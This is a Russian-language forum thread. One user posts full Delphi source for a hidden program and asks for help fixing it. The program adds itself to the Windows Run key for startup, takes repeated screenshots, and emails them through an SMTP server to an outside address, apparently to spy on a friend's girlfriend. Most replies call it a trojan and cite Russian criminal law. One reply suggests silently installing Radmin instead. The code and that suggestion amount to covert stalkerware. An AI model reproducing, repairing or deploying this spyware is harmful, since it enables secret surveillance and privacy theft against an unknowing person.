[NO PASARAN]

Не хотелось бы объяснять суть программы, знающие люди поймут и надеюсь помогут!

Проблема в том, что у меня на компе все работает как часы но на других нет!( Вернее на половину. Только не отсылаются файлы по почте. Что делаю не так? помогите люди добрые

Вот полный код:

Код:

unit Loger;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdMessage, IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP,
  ExtCtrls, jpeg, RegisTry;

type
  TForm1 = class(TForm)
    Timer: TTimer;
    IdSMTP1: TIdSMTP;
    IdAntiFreeze: TIdAntiFreeze;
    IdMessage1: TIdMessage;
    Timer2: TTimer;
    procedure TimerTimer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var

Form1: TForm1;
desk:hDC;
bmp_Screen:Graphics.TBitmap;
attach:TidAttachment;
msg:tidmessage;
i:integer;
jpg:TJPEGImage;
bm:TBitMap;
h: TRegistry; 

implementation

{$R *.dfm}



procedure TForm1.TimerTimer(Sender: TObject);
begin

IdSMTP1.Connect();

    if IdSMTP1.Connected = True then
    begin
    IdSMTP1.Send(IdMessage1);
    IdSMTP1.Disconnect;
      end;

end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin

 bm:=TBitMap.Create;
bm.Width:=Screen.Width;
bm.Height:=Screen.Height;
BitBlt(bm.Canvas.Handle,0,0,bm.Width,bm.Height,GetDC(0),0,0,SRCCOPY);
jpg:=TJPEGImage.Create;
jpg.Assign(bm);
jpg.SaveToFile('C:\image.bmp');
jpg.Free;
bm.Free;

end;

procedure TForm1.FormCreate(Sender: TObject);
begin


h := TRegistry.Create;
h.RootKey:=HKEY_CURRENT_USER;
h.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true);
h.WriteString('Project1',Application.ExeName); 
h.CloseKey;
h.Free;


   Application.ShowMainform:=false;
   idSMTP1.AuthenticationType := atLogin;
    IdSMTP1.Host := 'smtp.yandex.ru';
    IdSMTP1.Port := 25;
    IdSMTP1.Username := 'fov';
    IdSMTP1.Password := '*****';

    IdMessage1.Body.Text := 'Proverka';
    IdMessage1.From.Text := 'fov@yandex.ru';
    IdMessage1.Recipients.EMailAddresses := 'ole3d@mail.ru';
    IdMessage1.Subject := 'theme';

    TIdAttachment.Create(idMessage1.MessageParts, 'c:\image.bmp') ;
end;

end.

[Assistant]

хороша программка-троян ))

[PhoeniX]

Ох ты ж господи Пишем какую-то заразу и даже не скрываем Причём код индусский на 90%. Зачем 2 таймера? Почему аттач - только при создании? Зачем сохранение на диск C?
В общем, да. Какой-то я агрессивный сегодня

[NO PASARAN]

ну эт не совсем троян)) Для знакомого пишу, девушку ему надо проверить. А мне проверить свои знания))

[NO PASARAN]

Да, код каша и в правду. Собирал по крупицам, как говорится. Но всеже может подскажите? Обещаю программу в корысных целях не использовать!!))

[Konrad]

)
И чем ты проверишь? скрином экрана?))
Типа если в обоях фотка того парня значит все гуд?)
А если другого..)))
дети блин.

[Assistant]

проще radmin в тихом режиме установить, и ничего не придумывать (если конечно комп не за NAT'ом находится).

[ChinYan]

Дело не в корысти:

Статья 273. Создание, использование и распространение вредоносных программ для ЭВМ

1. Создание программ для ЭВМ или внесение изменений в существующие программы, заведомо приводящих к несанкционированному уничтожению, блокированию, модификации либо копированию информации, нарушению работы ЭВМ, системы ЭВМ или их сети, а равно использование либо распространение таких программ или машинных носителей с такими программами -
наказываются лишением свободы на срок до трех лет со штрафом в размере до двухсот тысяч рублей или в размере заработной платы или иного дохода осужденного за период до восемнадцати месяцев.
2. Те же деяния, повлекшие по неосторожности тяжкие последствия, -
наказываются лишением свободы на срок от трех до семи лет.

[Assistant]

кстати да, тайна переписки и все дела, за кражу пользовательской инфу, пусть даже скриншота экрана, уже могут впаять, если подруга эта напишет заяву на парня своего. например за кражу "пароля от интернета dial-up" раньше могли дать от 3х до 7ми

[Konrad]

Сообщение от ChinYan

Дело не в корысти:

Во во.
И это должны учить в школе на первом же уроке информатики.

[NO PASARAN]

Так этож не вредоносная программа)) К этому применима другая статья

[Assistant]

Сообщение от NO PASARAN

Так этож не вредоносная программа)) К этому применима другая статья

кража личной информации, вот такую статью применят и ещё тайну личной жизни. лет на 5 потянет

[Assistant]

да и ваще ))) если сомневаицца в подруге, то хай ищет другую, не доверять своей же подруге это жоско, так от ревности можно с ума сойти и застрелить подругу, как вон муж застрелил жену недавно в Москве на улице.

[Konrad]

Сообщение от NO PASARAN

Так этож не вредоносная программа)) К этому применима другая статья

Это Вы, батенька, следователю расскажете?

[NO PASARAN]

Сообщение от Assistant

да и ваще ))) если сомневаицца в подруге, то хай ищет другую, не доверять своей же подруге это жоско, так от ревности можно с ума сойти и застрелить подругу, как вон муж застрелил жену недавно в Москве на улице.

Мне безразличны его отношения с девушкой. Мне была интересна сама идея написания такой проги... - трояна (если вы так считаете)